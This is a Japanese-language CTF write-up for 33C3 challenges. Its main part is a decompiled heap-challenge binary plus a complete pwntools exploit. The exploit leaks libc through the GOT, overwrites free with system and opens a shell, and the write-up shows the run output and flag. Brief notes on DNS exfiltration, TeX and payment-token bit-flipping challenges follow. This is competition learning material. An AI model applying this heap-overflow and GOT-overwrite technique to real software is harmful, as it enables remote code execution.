0xff) * 0x4 + users) = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Display { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); printf("name: %s\n", users[var_1C]->name); // eax = *((var_1C & 0xff) * 0x4 + users); // eax = *eax; printf("description: %s\n", users[var_1C]->description); } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } int main() { eax = *stdin; setvbuf(eax, 0x0, 0x2, 0x0); eax = *stdout; setvbuf(eax, 0x0, 0x2, 0x0); alarm(0x14); esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; goto loc_8048a68; loc_8048a68: puts("0: Add a user"); puts("1: Delete a user"); puts("2: Display a user"); puts("3: Update a user description"); puts("4: Exit"); printf("Action: "); esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10; if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb; loc_8048ae1: eax = exit(0x1); return eax; loc_8048aeb: if (var_14 == 0x0) { printf("size of description: "); __isoc99_scanf("%u%c", var_10, var_15); Add(var_10); esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x1) { printf("index: "); __isoc99_scanf("%d", var_10); Delete(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x2) { printf("index: "); __isoc99_scanf("%d", var_10); Display(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x3) { printf("index: "); __isoc99_scanf("%d", var_10); Update(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 != 0x4) goto loc_8048c05; loc_8048beb: puts("Bye"); eax = exit(0x0); return eax; loc_8048c05: if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68; loc_8048c14: puts("maximum capacity exceeded, bye"); eax = exit(0x0); return eax; }
思考
- 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
- free()の後にポインタをNull化しているため、double freeやUAF不可
- ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す
思い込み(意図的に作り込まれたバグ)
if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax;
このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。
方針
- ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
- GOT書き換えからの
system("/bin/sh")
呼び出し(上図の(4))free(buf)
をsystem("/bin/sh")
と同等にする
Exploit Code
from pwn import * from sys import argv from os import system BIN = "./babyfengshui" BIN_PATCHED = BIN + ".patched" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") PATCH = False REMOTE = False if len(argv) > 1: if argv[1] == "patch": PATCH = True elif argv[1] == "r": REMOTE = True """ 08048a5e 6A14 push 0x14 ; argument "seconds" for method j_alarm 08048a60 E8ABFAFFFF call j_alarm """ if PATCH: with open(BIN) as f: b = f.read() b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF") with open(BIN_PATCHED, "wb") as f2: f2.write(b) system("chmod +x " + BIN_PATCHED) exit() r = None # e = ELF(BIN) offset = {} if REMOTE: """ [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@" 640: 0004cc50 52 FUNC GLOBAL DEFAULT 12 printf@@GLIBC_2.0 [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system" 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$" 15f551 /bin/sh """ r = remote("78.46.224.83", 1456) offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551} else: """ [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@" 647: 0004a020 42 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.0 [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh """ # r = process(BIN_PATCHED) r = process(BIN) offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08} count = 0 def Add(size_description, name, size_text, text): global count r.recvuntil("Action: ") r.sendline("0") r.recvuntil("size of description: ") r.sendline(str(size_description)) r.recvuntil("name: ") r.sendline(name) r.recvuntil("text length: ") r.sendline(str(size_text)) res = r.recv(1024) if res == "my l33t defenses cannot be fooled, cya!\n": log.error("GAME OVER: %s" % res.strip('\n')) exit() r.sendline(text) count += 1 def Delete(index): r.recvuntil("Action: ") r.sendline("1") r.recvuntil("index: ") r.sendline(str(index)) def Display(index): r.recvuntil("Action: ") r.sendline("2") r.recvuntil("index: ") r.sendline(str(index)) name = r.recvline().split(':')[1][1:].strip('\n') description = r.recvline().split(':')[1][1:].strip('\n') return (name, description) def Update(index, size_text, text): r.recvuntil("Action: ") r.sendline("3") r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("text length: ") r.sendline(str(size_text)) r.recvuntil("text: ") r.sendline(text) def Exit(): r.recvuntil("Action: ") r.sendline("4") r.recvuntil("Bye\n") def DisplayAll(): for i in range(count): name, description = Display(i) print "[%2d] name = %r (%#x)" % (i, name, len(name)) print "[%2d] description = %r (%#x)" % (i, description, len(description)) # context.log_level = 'debug' plt = {"fgets": 0x8048500, "strchr": 0x08048560} """ gdb-peda$ x/i 0x08048560 0x8048560 <strchr@plt>: jmp DWORD PTR ds:0x804b02c """ got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c} # name_len = 0x7b name_len = 0x10 # anti 20 sec limit # bp() log.info("=== [prepare] ===") # (1)から(3)まで Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0 Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1 Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2 Delete(0) # DisplayAll() log.info("=== [info leak] ===") LEAK_FUNC = "printf" Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "A"*4, # chunk header p32(got[LEAK_FUNC]), # "LEAK", ])) DisplayAll() name, description = Display(1) print "description = %r" % description addr = u32(description[:4]) libc_base_addr = addr - offset[LEAK_FUNC] system_addr = libc_base_addr + offset["system"] bin_sh_addr = libc_base_addr + offset["/bin/sh"] print "libc base address = %#x" % libc_base_addr print "%s() = %#x" % (LEAK_FUNC, addr) print "system() = %#x" % system_addr print "'/bin/sh' = %#x" % bin_sh_addr log.info("=== [got overwrite] ===") # (4) Update(3, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "X"*4, # chunk header # p32(got["strchr"]), # X() p32(got["free"]), # X() "GOTw", ])) # DisplayAll() bp() Update(1, 10, p32(system_addr)) # X() <= system() log.info("=== [trigger shell] ===") Delete(2) # system("/bin/sh") context.log_level = 'warn' r.interactive()
20秒制限があるため、通信は手短に済まさねばならない点がポイント。
[katc@K_atc babyfengshui]$ python2 babyfengshui.py r [+] Opening connection to 78.46.224.83 on port 1456: Done [*] === [prepare] === [*] === [info leak] === [ 0] name = 'Add a user' (0xa) [ 0] description = 'Delete a user' (0xd) [ 1] name = 'LEAK' (0x4) [ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34) [ 2] name = '3333333333333333' (0x10) [ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23) [ 3] name = '4444444444444444' (0x10) [ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8) description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' libc base address = 0xf75b1000 printf() = 0xf75fdc50 system() = 0xf75ef3e0 '/bin/sh' = 0xf7710551 [*] === [got overwrite] === [*] === [trigger shell] === babyfengshui flag.txt 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
exfill
DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pdfmaker
最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pay2pwnのアシスト内容
クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。
リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040 http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040
タイミングによらず、未購入であれば同じdataが入りそうだ。
次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。
### 4929990005949674 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040 ### 4024007103302005 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040
注意深く見ると、次のことが分かる。
- dataはhexエンコードされたデータ。暗号文の可能性が高い
- 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる
dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。
うちのチームの新人くん、彼にとって初めてであろう解き方を教えたら30分位であっさり解いてしまって才能を感じる
— 友利奈緒ちゃん (@K_atc) 2016年12月29日
ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…